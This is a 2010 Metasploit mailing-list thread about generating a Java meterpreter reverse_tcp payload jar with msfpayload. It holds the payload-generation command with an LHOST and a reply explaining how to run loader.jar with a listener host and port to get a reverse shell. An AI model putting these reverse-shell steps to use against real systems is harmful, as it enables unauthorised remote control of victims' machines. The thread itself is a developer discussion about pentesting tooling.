Metasploit mailing list archives

Re: Using msfpayload to create a reverse java meterpreter


From: egypt () metasploit com
Date: Thu, 12 Aug 2010 12:41:29 -0600

Not yet.  Right now you can take data/java/loader.jar and run it with
"java -jar loader.jar <lhost> <lport>" to achieve your goal, but we
haven't worked out the details of dynamically building stagers without
requiring a JDK.  If anyone on the list has a strong understanding of
java bytecode and would like to take a look at modifying the jar in
ruby, or if anyone has a better idea for creating self-contained
stagers, please get in touch.

egypt

2010/7/30 Shai rod <shai_r () msn com>:
Hi all,
I was wondering, if its possible to create a "java/meterpreter/reverse_tcp"
jar file using msfpayload ?
I have tried to create one as follows:
msfpayload java/meterpreter/reverse_tcp LHOST=192.168.1.116 R > payload.jar
when i try to execute it i get :
# java -jar payload.jar
Invalid or corrupt jarfile pay.jar
Thank you in advance,
Shai.
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


Current thread: